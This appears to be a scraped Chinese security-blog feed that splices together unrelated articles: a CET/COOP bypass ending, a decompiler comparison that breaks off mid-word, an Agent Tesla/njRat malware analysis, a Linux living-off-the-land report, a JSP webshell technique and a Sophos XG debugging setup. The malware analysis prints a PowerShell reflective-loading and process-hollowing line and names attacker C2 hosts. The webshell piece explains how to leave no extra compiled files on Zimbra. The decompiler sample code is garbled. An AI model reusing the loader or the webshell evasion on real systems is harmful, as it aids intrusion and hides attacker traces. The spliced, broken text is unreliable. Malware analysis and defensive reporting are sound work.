這就完成了我們的簡單概念證明，我們介紹了通過調用CFG允許的函數，同時避免損壞任何返回地址，可以繞過Intel CET Shadow Stack並通過COOP攻擊獲得任意代碼執行。

此PoC應用程序的Visual Studio項目可以在這個URL中找到。

總結Intel CET提供了另一種強大的防禦機制，儘管如此，攻擊者可以採用新的攻擊途徑，如COOP來繞過這種緩解措施。

HireHackking

前言本次測試對比是為了呈現incinerator與PNFSofteware出品的JEB以及國內出品GDA在Android逆向工程能力的對比，從而讓大家更好更直觀的了解相關的詳細信息

本次測試對比的產品信息如下：

Incinerator： 1.0.0

JEB：3.19.1.202005071620

GDA：3.9.0

注：文章編寫日期與發佈時間有一定時間間隔，所以以下內容並不代表各產品的後續性能指標。

反編譯器對循環結構的還原能力測試Test1第一個測試中，設計了循環頭和鎖節點都為二路條件循環結構，為了測試循環結構化分析能力，多嵌套了幾個if語句（代碼標號為基本塊號）。程序簡單如下：

publicvoidtest1(inty,inta){

while(y0){

if(a10){

if(a100){

a=a*5;

break;

}else{

y=y/a;

}

}

}

}

}

流程图.png

編寫testdemo將代碼段生成apk後，並分別使用JEB、GDA、Incinerator來進行反編譯操作，從而進行代碼可讀性和語義準確性上的對比，如下圖所示：

95f762e41272c0aa3a7fe3914c2bdf56

test1

通過上述對比可以看出在語義準確性上，JEB發生了語義錯誤，在a 100時，丟失了a *=5的代碼塊，Incinerator與GDA保持了語義的準確性。

在代碼可讀性上，三者相差不大可讀性都很好。 Incinerator在if-else上做了相應的優化，可讀性略有提升。

在代碼還原度上，Incinerator做了對應優化，GDA重複聲明了a、y變量，其他方面最為接近源碼。而JEB存在代碼塊丟失。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB×高中GDA高高Test2接下來看看他們對雙層循環的結構化分析的能力，設計一個雙層循環，在內層循環break出外層循環，實際上基本塊5即if(a 10)，不僅會是內存循環的鎖節點，也會是外層循環的鎖節點。並且該鎖節點為二路條件節點，其一個分支路徑回到內層循環，另外一個分支結構回到外層循環。一般對循環結構算法都是循環頭-鎖節點一一對應，因此處理過程中可能會復雜化該類結構。代碼實現非常簡單如下：

publicvoidtest2(inty,inta){

while(y0){

while(a0){

if(a10){

break;

}

}

}

}

attachBaseContext(this);

}重新編譯apk後，再進行反編譯後，如下圖所示：

f61654c8fad1346041bba769daa7b737

test2

通過上述對比可以看出在語義準確性上，Incinerator、JEB保持了語義的準確性，都識別除了雙重循環，GDA僅有函數聲明，丟失了整個函數的代碼塊。

在代碼可讀性上，Incinerator優化了if-else組合，JEB在if中加入continue省略else語句，兩者可讀性都很好。

在代碼還原度上，Incinerator、JEB除了各自在if-else上的優化，還原度都很高。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB高高GDA×低低Test3這一段代碼在退出循環的”if(a10)”語句中內嵌了另外一個if語句，這會導致內層循環的鎖節點發生變化，並且給內層循環添加了一個跟隨節點，另外代碼做了稍稍的改動。如下：

publicvoidtest3(inty,inta){

while(y0){

while(a50){

a=a+1;

y=y+1;

if(a10){

if(a100){

a=a*5;

break;

}else{

y=y/a;

}

}

}

this.attachBaseContext(this);

}

}繼續編譯成apk，再進行反編譯操作，如下圖所示：

8dd35acc6d19712de616aed4a9777f32

test3

通過對比可以看出在語義準確性上，Incinerator、JEB仍然保持了語義的準確性，GDA重複聲明了a、y變量，並且繼續丟失函數內部的代碼塊。

在代碼可讀性上，Incinerator、JEB保持很好的代碼可讀性，JEB使用了continue來分割嵌套的if。

在代碼還原度上，Incinerator最為接近源碼，JEB改為使用continue來分割嵌套的if。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB高高GDA×低低Test4在內層循環的第一個if-else結構上添加一個後隨節點，並且最後break出內層循環到外層循環。並且將a=a*5語句後的break改成continue。代碼如下：

publicvoidtest4(inty,inta){

while(y0){

y++;

while(a50){

a=a+1;

y=y+1;

if(a10){

if(a100){

a=a*5;

continue;

}else{

y=y/a;

}

}

y=a*y;

break;

}

this.attachBaseContext(this);

}

}同樣編譯成apk後再反編譯，如下圖所示：

6002ea5b38852a4bf5870e1aee4ad462

test4

通過上述對比可以看出

在語義準確性上，Incinerator在a *=5; 後面丟失了continue，在y *=a; 後面丟失了退出循環的break；JEB保持了語義的正確性；GDA重複聲明變量，也丟失了函數內的代碼塊。

在代碼可讀性上，Incinerator、JEB可讀性都很好。

在代碼還原度上，Incinerator與源碼最為相似，但是丟失了continue、break；JEB使用continue分開了if-else，將else後面的y /=a，與y *=a合併為新的y=y/a * a，並加入break，還原度上有了一定的改變。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator×高中JEB高中GDA×低低Test5這次在“if(a10)”內部加入switch，在a為11、12時，執行“a=a * 5”，並continue返回內循環while，a為13時，執行“a=a * 6”，繼續往下執行，並不退出，a為14時，執行“a=a * 7” 退出switch， 與default中加入if-else，代碼如下：

publicvoidtest5(inty,inta){

while(y0){

y++;

while(a50){

a=a+1;

y=y+1;

if(a10){

switch(a){

case11:

case12:

a=a*5;

continue;

case13:

a=a*6;

case14:

a=a*7;

break;

default:

if(a100){

a=a*5;

continue;

}else{

y=y/a;

}

}

}

y=a*y;

break;

}

this.attachBaseContext(this);

}

}最後編譯成apk後反編譯，如下圖所示：

9423c2d3183b388f644c6fadcfbf5295

test5

通過上述對比可以看出在語義準確性上，Incinerator在switch將a為11、12、default中的continue錯誤表達為break，丟失了y *=a後面退出內循環的break；JEB保持了語義的正確性在，但在label_18的break之後，多了兩句無用的代碼a *=8;continue；GDA沒有識別出內循環，使用if與goto做處理，switch中a為11、12時多了break，沒有識別出a=14，且在default中，執行完y=y/a後繼續執行'a=a * 7'。

在代碼可讀性上，Incinerator識別出雙循環、switch-case可讀性上最好，JEB、GDA多次出現goto，在代碼可讀性上存在一定的影響。

在代碼還原度上，Incinerator與源碼最為相似，但在節點的退出上存在一定的問題，JEB、GDA在代碼的還原度上膨脹比較大。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator×高中JEB中中GDA×中低調試能力測試逆向工程工具針對Apk可調試，對於研究人員來說有著極大的幫助，而對於已經發布後的應用再進行調試的話，可調試的前提條件會比較苛刻，如：設備是否root、調試屬性是否開啟、能否重打包等，這些因素都會影響著是否能夠調試，而影響調試功能的好壞、支持與否，取決於：能否stepover、stepinto、breakpoint，能否獲取/修改變量值等，這些因素都體現著調試器是否好用。所以我們從上述多個維度，對Incinerator、JEB的調試做下簡單對比，但因GDA不支持調試，所以下面的內容無法針對GDA進行測試對比。

這裡直接使用Android Studio自帶的example：Login Activity進行對比，如圖1-2所示：

72a03afc6836285c34d5e3234bf992fc

圖1

e1ecd5a7f6c45018c44dc7ea23ea0b3c

圖2

在登錄驗證的位置做細微修改，讓它基本不可能登錄成功，然後再分別使用JEB、Incinerator進行分析登錄過程，並繞過登錄限制。修改的代碼與登錄失敗，如圖3-4所示：

67e985a816171ca2bfbc7045086c456e

圖3

c686e78245ee860d6f9a03acecbcf3af

圖4

調試設備：Nexus 5X

系統版本：7.1.2

root狀態：已root

主要測試功能：

下斷點

步進

步過

跑至光標

顯示與修改變量值

免debugger屬性調試

smali調試

偽代碼調試

JEB調試首先手動安裝編譯好的apk，然後使用JEB反編譯對應apk，點擊JEB上的start. 如圖5所示：

f59a75d9a167571550761a7f9e0d45c7

圖5

出來Attach界面，因為應用還沒啟動，所以並沒有看到Processes中有進程列表，如圖6所示：

1d6c2a933eae2f3f45a43b8dfbfdaf61

圖6

通過命令（adb shell am start -D -n com.testdemo3/.ui.login.LoginActivity）啟動進程，JEB點擊（Refresh Machines List）刷新列表，看到已經跑起的測試案例，如圖7所示：

a7a1022cd33cdd32a34526e7950dc177

圖7

點擊Attach後，發現無法debug，按提示指app沒有開啟debuggable屬性或者設備沒有root，建議使用模擬器、root設備或者重打包app。 （實際上設備已root），如圖8所示：

14eb8cc4bcc1153f20d81ec3c48e0728

圖8

我們在AndroidManifest中加入android:debuggable='true'並重新編譯（如果是第三方的app只能嘗試用apktool等工具進行重打包，有簽名、完整性等校驗的話再想辦法將其繞過）

現在可以成功Attach上去。

我們使用JEB反編譯登錄界面的activity：LoginActivity，在按鈕的點擊觸發代碼中加入斷點，如圖9所示：

cb7e6b9d77ccdd3d0940a62ccbbe1773

圖9

因不支持在偽代碼中加入斷點，我們切換回smali（快捷鍵Q），在onClick的第一行按Ctrl+B加入斷點，如圖10所示：

2973f6abcb0812c148d737436de4b6d2

圖10

操作app，輸入帳號密碼，點擊：SIGN IN OR REGISTER，在JEB中成功觸發斷點，如圖11所示：

JEB此處有個優勢，它的佈局可以根據個人喜好隨意拖拉

4e5e64f1ce1c439f2938500955500b94

圖11

當前顯示的變量似乎有些異常，我們此時忽略他，鼠標放到00000040 處，點擊JEB的'Run to line'，成功跳到指定行，如圖12所示：

5e176b7f9fb8c43f2b0c2a4abbda242f

圖12

JEB一開始將所有變量當作int類型處理，我們分析代碼，可以知道此處的V1、V2是輸入的帳號與密碼，類型是String，因此，我們點擊V1、V2中的Type將int改為String，如圖13所示：

c5573234eacd57bc2809142639d00c88

圖13

v1、v2成功修正類型，對應的值也成功顯示出我們測試輸入的帳號密碼。

在JEB中點擊步進（Step Into）到LoginViewModel的login方法，如圖14所示：

7a36c5e8a7cabc39b6d6a50302369f5b

圖14

成功步進LoginViewModel的login方法，但是在這裡可以看到，剛才修改的類型（此處對應的是p1、p2）又重新變回了int。

根據smali可知道，接下來會調用LoginRepository的login方法，隨後返回Result

我們再繼續點擊兩次步進（Step Into）進入LoginRepository的login方法，如圖15所示：

9d65fb40f8f67ea74cea4507b3dcf0d4

圖15

在此方法中，它會繼續將帳號密碼傳給LoginDataSource的login方法，返回Result

繼續步進（Step Into）兩次，進入LoginDataSource的log

HireHackking

研究人員最近發現了一些惡意的Microsoft Office文件，這些文件試圖利用合法網站MediaFire和Blogger執行shell腳本，然後釋放Agent Tesla和njRat的兩個惡意變體。 Agent Tesla是一款著名的監視軟件，首次發現於2014年，它可以從web瀏覽器、郵件客戶端和FTP服務器中竊取個人數據，收集屏幕截圖和視頻，並收集剪貼板數據。 njRat（也稱為Bladabindi）是2013年首次發現的遠程代理木馬，能夠遠程控制受害者的設備，記錄擊鍵、訪問攝像頭、竊取瀏覽器中存儲的憑據、上傳/下載文件、操作註冊表等。

马云惹不起马云受影響的平台：Microsoft Windows

马云惹不起马云受影響方：Windows用戶

马云惹不起马云影響：控制和收集受害者設備中的敏感信息

马云惹不起马云 嚴重級別：嚴重

在本文中，我們將詳細介紹我們發現的文件、它們用於傳播有效負載的嵌入腳本，以及這些惡意軟件變體的行為。

第1階段在2022年9月，研究人員發現了兩種文件。一個是PowerPoint加載項，另一個是包含誘餌圖片和嵌入Excel表單的Word文件。這兩個文件都包含類似的VBA腳本，在打開文件後立即執行宏。

1.png

根據PPT插件中的VBA腳本（如上圖所示），代碼會自動觸發，因為它使用了“Auto_Open()”函數。其“ControlTipText”和“Tag”字段包含完整的命令“mshta”和MediaFire URL。我們可以在“vbaProject.bin”中看到完整的URL。

2.png

PPT加載項中的VBA宏

3.png

vbaProject.bin文件中完整的惡意URL

第2階段從下圖所示的Process Explorer中可以看到，“mshta”進程在點擊文件中的“Enable Macros”後立即啟動。這導致了MediaFire網站，這是一個合法的文件和圖片共享平台。

4.png

點擊“Enable Macros”後的Process Explorer

以下是第一階段VBA宏中“1.htm”的內容：

5.png

從MediaFire下載的“1.htm”

下圖顯示了將一些十六進製字符串轉換為ascii字符串後的更清晰的圖片。

6.png

轉換後的“1.htm”

這個HTML文件有三個主要任務：

1.從MediaFire網站傳送第三階段腳本文件；

2.終止任務WINWORD.EXE；

3.通過創建計劃任務添加持久性。它使用“mshta”連接到“http[:]//www.webclientservices.co[.]uk/p/1[.]html”網站，該網站每73分鐘包含一個類似的腳本。以下是2022年9月的博客截圖：

7.png

9月中旬www[.webclientservices[.co[.uk/p/1[.html]網頁

研究人員還發現，“www[.]webclientservices[.]co[.]uk”中的1.html文件已更新並重命名為“real all BACK SEP 2022”。嵌入式JavaScript也被修改了，現在可以發布其他惡意軟件。

8.png

9月底發現的www[.]webclientservices[.]co[.]uk/p/1[.]html更新頁面

第3階段“1.txt”中的PowerShell腳本是從MediaFire下載的，它通過進程空心化技術提供最終有效負載。它首先終止所有相關進程，並對加載程序和有效負載進行解碼。然後它調用最終有效載荷並部署它，繞過AMSI。主要惡意軟件和部分代碼被編碼並替換為字符串，以增加分析的難度。

9.png

用於加載代理特斯拉的PowerShell的全圖

10.png

執行PowerShell後的Process Explorer

在“Load Agent Tesla Payload”過程的第二部分中，變量$CLE11和$RNBX1是更換一些字符串後的最終有效負載和加載器。基於.NET的不同版本，它自定義了繼續進行進程空心化活動的路徑：

$Path='C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'

$Path2='C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe'

$Path3='C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe

[Ref]/Assembly:Load((HexaToByte($RNBX1))).GetType('CALC'.PAYSIAS'.'GetMethod'(Execute).Invoke($null,[object[]] ($Path, HexaToByte($CLE11)));

研究人員將$RNBX1保存為可執行文件，並用dnSpy打開它。目標類和方法如下圖所示。此.Net加載器利用一些模糊處理來隱藏主要API（CreateProcess、VirtualAllocEx…等）。

11.png

Net Loader

研究人員找到了目標進程“jsc.ex”、“caspol.exe”和“Msbuild.exe”，它們在受害者的設備中安靜運行。詳細信息如下圖所示。

12.png

流程空心化時的Process Explorer

在PowerShell部分的末尾，它禁用了日誌記錄，並通過打補丁繞過AMSI。詳細步驟如下所示。

13.png

繞過PowerShell中的AMSI

最後階段（第一部分）第一個惡意軟件負載是Agent Tesla。這種變體在9月中旬開始傳播。它包括合法的文件信息，“NirSoft”公司的“Web瀏覽器密碼查看器”，並使用FTP發送被盜數據。

14.png

Agent Tesla的基本信息

下圖是用於傳輸提取數據的攻擊者FTP服務器信息的屏幕截圖，包括用戶名和密碼。此變體還將自身複製到%appdata%目錄中，文件名為“NGCwje.exe”以進行持久化。

15.png

攻擊者的服務器信息

然後，它開始提取受害者設備的信息，例如基板的序列號、處理器ID和MAC地址。然後，它為該數據生成一個MD5哈希。

16.png

為受害設備的信息生成Md5哈希

Agent Tesla使用一個典型的應用程序列表來竊取登錄憑據、Cookie、郵件信息和VPN數據。這些項目的一部分如下圖所示：

17.png

目標瀏覽器應用程序列表

一旦惡意軟件從受害者的設備檢索到憑證和其他信息，它通過使用硬編碼IP的FTP協議發送這些數據。

18.png

使用FTP協議

19.png

從受害者設備捕獲的流量

根據遇到的不同類型的文件，它使用四種打開字符串：“CO”表示cookie數據，“KL”表示鍵盤記錄，“PW”表示受害者的密碼信息，“SC”表示屏幕截圖文件。惡意軟件使用下劃線將數據類型、用戶名、設備名稱和時間戳連接在一起，作為數據ZIP文件的文件名。被盜zip文件列表如下所示：

20.png

FTP服務器上Zip文件的部分列表

最後階段（第二部分）第二個有效載荷是njRat，也稱為Bladabindi。它是一個.NET特洛伊木馬，用於控制和監控受害者的設備。此變體對其字符串生成和代碼流使用模糊處理。從方法ko()的IDA圖形概覽中，你可以看到這個變體更複雜，但你仍然可以識別類似的函數。

21.png

IDA圖概述

22.png

njRat的入口點

23.png

字符串解碼功能

首先，它在“Startup”和“Templates”文件夾中創建lnk和exe文件，文件名為“Windows”。這個名字用來欺騙用戶和分析師，讓他們認為它是合法的Windows文件。

24.png

創建持久性

然後，它以相反的順序獲取命令和控制服務器主機名和端口號。

25.png

命令和控制服務器信息

為了確保此惡意軟件只在此受害者上運行一次，它添加了名為“di”、數據為“!”的“HKEY_CURRENT_USER”。

26.png

添加到“HKEY_CURRENT_USER”中的註冊表

27.png

註冊表狀態

它還創建了一個帶有字符串“Windows”的互斥鎖，將環境變量“SEE_MASK_NOZONECHECKS”設置為1，並檢查此互斥鎖是否以前創建過。如果是，則結束該過程。

28.png

創建互斥鎖

29.png

設置環境變量

如下圖所示，收集設備信息後，它使用base64對其進行編碼並連接數據。然後，它使用硬編碼的TCP端口7575將數據傳輸到服務器“mobnew6565[.]duckdns[.]org”。

30.png

連接數據

以下是Win10受害者設備的C2流量。分隔符更改為“|-F-|”，版本為“v4.0”，但數據包的格式類似於舊的njRat版本：

31.png

從受害者處捕獲的流量

除了Agent Tesla和njRat，研究人員還在更新的HTML文件“www.webclientservices.co[.]uk/p/1[.]HTML”中找到了一個簡短的腳本，該文件將挖礦軟件下載到“C:\\ProgramData”。這是一種奇怪的行為，因為此攻擊鏈中的每個步驟都試圖在受害者的設備上不留下任何物理跟踪或文件。研究人員認為這可能會分散受害者的注意力，以免他們注意到另一個進程正在加載njRat。

32.png

下載挖礦軟件的JavaScript

33.png

njRat和miner的Process Explorer視圖

總結Agent Tesla和njRat多年來都是高度活躍的惡意軟件。它們的功能成熟，易於用於監視或竊取信息。如上所述，惡意URL不斷更新其嵌入的JavaScript，這意味著這些釣魚電子郵件和誘騙辦公室文件始終是傳播此惡意軟件的有效方式。網站中嵌入的所有VBA宏、PowerShell和JavaScript代碼都可以部署無文件攻擊，也可以通過混淆或編碼字符串來逃避一些病毒檢測。

用戶應始終警惕任何包含外部網站鏈接的辦公室文件或未知文件。

34.png

攻擊流程

HireHackking

通過趨勢科技的蜜罐和監測技術，研究人員能夠觀察到攻擊者濫用原生Linux 工具對Linux 環境發起攻擊的實例。

採用容器已經成為主流，各類企業的使用率都在上升。根據CNCF 的一項調查，93% 的受訪者目前正在或計劃在其運行中使用容器。像Kubernetes這樣的容器項目和其他在雲和互聯網上可用的工具，已經導致了組織運作方式發生變化，從單一架構到創建由微服務組成的分佈式系統。

由於使用了容器這些變化也導致了攻擊面的擴大，特別是通過在部署中引入的安全錯誤配置或漏洞。對於使用容器的企業來說，補丁管理常常是一項巨大的任務，這意味著更新並不總是及時地實現，這使得云安全更加複雜。

研究人員已經在面向公眾的Web 應用程序中發現了各種來源的嚴重漏洞，從易受攻擊的開源庫（Log4Shell 和Spring4Shell）到框架（Apache Struts 和Drupal），甚至是諸如Atlassian Confluence、Oracle WebLogic Server 和Apache HTTP Server等應用程序。一旦漏洞的概念證明(POC) 被披露，攻擊者就可以利用它們執行惡意任務，從挖掘加密貨幣到有時部署勒索軟件。

從防御者的角度來看，理想的結果是阻止攻擊者獲得最初的立足點。然而，情況並非總是如此。如果攻擊者確實設法進入系統，則防御者的工作就是通過使用縱深防禦策略使攻擊者更難成功地完成攻擊。

通過蜜罐網絡和監控分析，研究人員能夠觀察到大多數成功利用嘗試的一些有趣特徵，特別是攻擊者如何在其例程中使用本機Linux 工具。

在Linux 環境中使用合法實用程序和工具檢查攻擊對基於Linux 的系統的攻擊通常遵循標準的利用鏈。首先，攻擊者利用一個漏洞或一系列漏洞來獲得對環境的初始訪問權限（我們現在可以將其視為受到攻擊）。此時，攻擊者可以採取不同的路徑進一步進入被破壞的環境：

1.枚舉當前環境的上下文（發現）；

2.從環境中洩露敏感數據（洩露、影響）；

3.通過刪除應用程序執行拒絕服務攻擊（影響）；

4.通過下載挖礦軟件來挖掘加密貨幣（影響）；

5.嘗試其他技術（權限升級、橫向移動、持久性或憑據訪問）；

1.png

攻擊者如何在受感染的環境中進一步發起攻擊

基於真實世界的攻擊和蜜罐捕獲的樣本，研究人員觀察到攻擊者使用與Linux 發行版捆綁在一起的各種啟用工具，例如curl、wget、chmod、chattr、ssh、base64、chroot、crontab、ps 和pkill ，這些工具都可以被攻擊者利用。

我們已經看到攻擊者在野外濫用這些工具。至少應該考慮這些實用程序的存在，尤其是在容器環境中，因為它們為攻擊者提供了額外的途徑。

2.png

使用base64解碼有效負載，以便稍後執行

base64 工具是一個Linux 實用程序，用於解碼以base64 格式編碼的字符串。攻擊者經常使用base64 編碼來混淆他們的有效載荷和命令以逃避檢測(T1027)，我們在之前的文章《恶意Shell脚本的进化》 中詳細描述了這種技術。

3.png

使用“cat”進程查看所有用戶的.bash_history

.bash 歷史文件存儲在用戶的主目錄中，記錄用戶在其bash shell 上執行的命令。眾所周知，攻擊者會從這些文件中提取信息以了解當前環境的上下文，正如我們之前在另一篇文章中所詳述的那樣，錯誤配置的Docker 守護程序API 端口因Kinsing 惡意軟件活動而受到攻擊。

4.png

使用“cat”進程查看“/etc/passwd”

作為枚舉步驟的一部分，攻擊者訪問/etc/passwd 文件，該文件包含環境中已註冊用戶的列表，並顯示給定用戶是否具有與其登錄相關聯的shell（T1003.008）。此信息有助於攻擊者了解環境並確定有價值的用戶。

5.png

使用“chattr”` 將/etc/crontab 文件修改為可變

chattr 實用程序用於更改文件和文件夾屬性，以控製文件的刪除和修改等突發操作。上圖中的示例顯示/etc/crontab 文件的屬性已被更改，導致文件不安全。正如《分析TeamTNT 的活动》 中所討論的，該實用程序之前已被觀察到被TeamTNT 濫用。

6.png

使用“chmod”使文件可執行

chmod工具用於修改文件模式，實現用戶/組訪問粒度化。它需要執行新下載的可執行文件，在本例中，我們看到/tmp路徑上的agettyd文件被設置為可執行位。

7.png

使用“crontab”刪除所有現有的cron 作業

cron作業是用於調度任務(或作業)的實用工具。眾所周知，攻擊者濫用cron作業並修改“crontab”來執行執行、持久性，有時還會使用特權升級技術(T1053.003)。上圖中的示例顯示了對現有cron作業的刪除。這種情況很常見，加密貨幣挖礦軟件通過刪除其他挖礦軟件的痕跡來劫持盡可能多的資源。《Linux 加密货币挖矿软件之战》 深入討論了這些活動。

8.png

使用“curl”將系統信息洩露給攻擊者

curl 或cURL 實用程序用於跨不同協議傳輸數據，例如HTTP、HTTPS 和文件傳輸協議(FTP)。上圖中的示例顯示操作系統版本和發布版本等系統信息作為POST 請求發送到攻擊者的基礎設施。

9.png

使用“curl”從GitHub 下載xmrig 二進製文件

在本例中，curl用於從Github下載XMRig 挖礦軟件的二進製文件。眾所周知，攻擊者濫用像Github和Netlify這樣的合法平台來服務於加密挖掘工具，正如我們在之前的《通过 GitHub、Netlify 提供的门罗币挖掘恶意软件漏洞》 博客中解釋的那樣。

10.png

使用“pkill”阻止競爭進程/coinminer

kill 套件實用程序用於向進程發送信號，如上圖中的示例所示，它將SIGKILL 信號發送到名為“kdevtmpfsi”的進程。早在2020 年，我們就一直在追踪名為kdevtmpfsi 的加密貨幣挖礦軟件，《分析 Kinsing 恶意软件对 Rootkit 的使用》 展示了另一個競爭挖礦軟件被終止的例子。

11.png

使用“ps”查看正在運行的進程

ps 實用程序用於查看進程的狀態。上圖顯示了ps aux 命令獲取有關進程的詳細信息，例如係統上當前正在運行的進程、進程ID 和進程權限。此信息可以幫助攻擊者執行與發現相關的技術（T1057 ——進程發現）並獲取有關他們所處環境的信息。

12.png

使用“rm”從/tmp 目錄中刪除隱藏文件

在上圖中，我們看到rm 工具用於刪除/tmp 目錄下的隱藏文件和文件夾。在文件或文件夾名稱之前，攻擊者可以通過添加“.”來創建隱藏目錄以逃避檢測（隱藏工件：隱藏文件和目錄- T1564.001）。

13.png

使用“ssh”通過XMR 挖礦軟件感染底層主機

ssh 實用程序是用於通過Secure Shell (SSH) 以類似蠕蟲的方式訪問系統的遠程客戶端。在上圖中，攻擊者嘗試下載Monero 挖礦軟件（使用wget/curl）並感染正在嘗試SSH 的遠程計算機（127.0.0.1）。一旦攻擊者由於容器的不安全配置（例如，特權容器）而掛載了底層主機的文件系統，他們就會創建新的SSH 密鑰對，使用它來建立“ssh”會話，並用加密貨幣挖礦軟件感染底層主機。

14.png

使用“wget”、“curl”、“chmod”下載並執行Mirai 惡意軟件

在此示例中，我們看到了不同Linux 實用程序的組合使用，其中下載了二進製文件，修改了權限，然後再執行。名為“runnable”的可執行文件是在CVE-2021-44228跟踪的Log4shell漏洞被利用後發布的Mirai示例。

15.png

使用“whoami”查看當前用戶上下文

16.png

顯示攻擊者使用“chroot”和“base64”的工作台

使用Vision One 工作台，我們看到攻擊者正在使用chroot 和base64 實用程序。請注意，chroot 用於將根更改為提供的目錄（在本例中為/host），其中底層主機的文件系統安裝在容器中。在《为什么特权容器很容易被攻击》 一文中，我們探討了此函數在授予容器時所帶來的風險。

保護Linux 系統免受實用程序濫用的最佳實踐使用distroless 鏡像通過觀察上一節中討論的技術，我們看到攻擊者可以使用一組與完整操作系統捆綁在一起的工具。作為防御者，使用只包含我們需要的工具的容器映像並刪除不需要的工具會更安全。

這種安全方法可以在很大程度上幫助降低風險，即使是針對諸如Log4Shell 之類的關鍵漏洞也是如此。減少應用程序運行所需的工具數量也減少了由開源庫和工具中的依賴漏洞引入的攻擊面。這裡介紹無發行映像的概念，這些映像被描述為僅包含應用程序及其運行時依賴項的映像，消除了你期望在典型Linux 發行版中找到的程序，例如包管理器和shell。

Cloud One 工作負載安全——應用程序控制從防御者的角度來看，重點應該是通過縱深防禦策略抵禦。雖然對系統進行更改以盡量緩解甚至防止濫用會有所幫助，但利用多種安全措施的多層方法將提供最強的安全級別，理想情況下是將最佳實踐與有效的防禦技術結合起來。

對於非容器化環境，Cloud One 工作負載安全提供了應用程序控制模塊，該模塊監控軟件更改並根據設置的配置允許或阻止它們。它創建現有應用程序的基線並將規則應用於下載和安裝的新應用程序。它基於二進製文件的SHA256 哈希值工作。

它為用戶提供了執行以下操作的選項：

在明確允許之前阻止無法識別的軟件；

在明確阻止之前允許無法識別的軟件；

我們在Ubuntu 20.04 長期支持(LTS) 服務器上使用wget 從GitHub 下載nmap 網絡枚舉工具的預編譯二進製文件。然後，服務器配置了Cloud One 工作負載安全代理，該代理運行應用程序控制模塊，為無法識別的軟件設置為“阻止”模式。如下圖所示，應用程序控制阻止了執行。

17.png

使用來自Cloud One Workload Security的Application Control模塊防止“nmap”二進製文件的執行

18.png

在Cloud One Workload Security上對應的事件，我們看到“nmap”二進製文件被阻止執行

總結由於攻擊者利用了內置在操作系統中的合法工具和實用程序，防御者將需要優先考慮如何在攻擊的不同階段設置控制。通過在容器中使用無分發映像和應用預防性控制(如Cloud One Workload Security的應用程序控制)來最小化攻擊面，可以大大降低針對雲環境的攻擊者的速度。在組織無法使用無發行版實現的情況下，也可以使用相同映像的“精簡”版本來減少攻擊面並加強雲部署的安全性。

HireHackking

0x00 前言在之前的文章《Java利用技巧——通过反射实现webshell编译文件的自删除》 曾介紹了通過反射實現AntSword-JSP-Template的方法。對於AntSword-JSP-Template中的shell.jsp，訪問後會額外生成文件shell_jsp$U.class。《Java利用技巧——通过反射实现webshell编译文件的自删除》 中的方法，訪問後會額外生成文件shell_jsp$1.class。

在某些特殊環境下，需要避免額外生成.class文件。本文將以Zimbra環境為例，介紹實現方法，開源代碼，記錄細節。

0x01 簡介本文將要介紹以下內容：

马云惹不起马云 實現思路

马云惹不起马云實現代碼

0x02 實現思路基於《Java利用技巧——通过反射实现webshell编译文件的自删除》 中的方法，訪問後會額外生成文件shell_jsp$1.class，這裡可以通過構造器避免額外生成.class文件。

在具體使用過程中，需要注意如下問題：

(1)反射機制中的構造器正常調用的代碼：

image.png

通過反射實現的代碼：

image.png

(2)選擇合適的defineClass()方法在ClassLoader類中，defineClass()方法有多個重載，可以選擇一個可用的重載。

本文選擇defineClass(byte[] b, int off, int len)

(3)SecureClassLoader使用構造器時，應使用SecureClassLoader，而不是ClassLoader

示例代碼：

image.png

0x03 實現代碼為了方便比較，這裡給出每種實現方法的代碼:

(1)test1.jsp來自AntSword-JSP-Template中的shell.jsp，代碼如下：

image.png

保存在Zimbra的web目錄：/opt/zimbra/jetty_base/webapps/zimbra/

通過Web訪問後在目錄/opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/生成以下文件：

马云惹不起马云_test1_jsp.java

马云惹不起马云_test1_jsp.class

马云惹不起马云_test1_jsp$U.class

(2)test2.jsp來自《Java利用技巧——通过反射实现webshell编译文件的自删除》 中通過反射實現AntSword-JSP-Template的方法，代碼如下：

image.png

通過Web訪問後生成以下文件：

马云惹不起马云 _test2_jsp.java

马云惹不起马云_test2_jsp.class

马云惹不起马云_test2_jsp$1.class

(3)test3.jsp基於test2.jsp，通過構造器實現，代碼如下：

image.png

通過Web訪問後生成以下文件：

马云惹不起马云_test3_jsp.java

马云惹不起马云 _test3_jsp.class

(4)test4.jsp基於test3.jsp，不使用base64Decode()，代碼如下：

image.png

通過Web訪問後生成以下文件：

马云惹不起马云 _test4_jsp.java

马云惹不起马云 _test4_jsp.class

在代碼實現上需要注意Java語言中數組必須先初始化，然後才可以使用。

0x04 小結本文分享了一種不額外生成.class文件的實現方法，對於開源的代碼test4.jsp，還可以應用到Java文件的編寫中。

HireHackking

0x00 前言Sophos UTM和Sophos XG是兩款不同的產品，前者偏向於通用威脅管理，後者偏向於硬件防火牆。本文將要介紹Sophos XG漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容：

马云惹不起马云環境搭建

马云惹不起马云jetty調試環境搭建

马云惹不起马云csc配置文件解密

马云惹不起马云 Postgresql數據庫查詢

0x02 基礎知識架構如下圖

image.png

注：圖片引用自https://codewhitesec.blogspot.com/2020/07/sophos-xg-tale-of-unfortunate-re.html

總的來說，分為以下三部分：

马云惹不起马云 Jetty：處理Web數據，將數據轉發至csc作進一步處理

马云惹不起马云csc:主程序：加載Perl Packages，實現主要功能

马云惹不起马云Postgresql：用來存儲數據

我在實際研究過程中，這三部分遇到了以下問題：

马云惹不起马云Jetty：添加調試信息後無法啟動java

马云惹不起马云csc：csc加載Perl Packages後會自動刪除，無法獲得Perl Packages的實現細節

马云惹不起马云Postgresql：用戶權限低，無法查詢數據庫表

下面將要逐個介紹三個問題的解決方法。

0x03 環境搭建參考資料：

https://docs.sophos.com/nsg/sophos-firewall/18.5/Help/en-us/webhelp/onlinehelp/VirtualAndSoftwareAppliancesHelp/VMware/VMwareInstall/index.html

1.下載安裝包官方網站默認只提供最新版本的下載，但是可以通過猜測正確的版本號下載舊版本

例如18.5.3 Virtual Installers: Firewall OS for VMware：

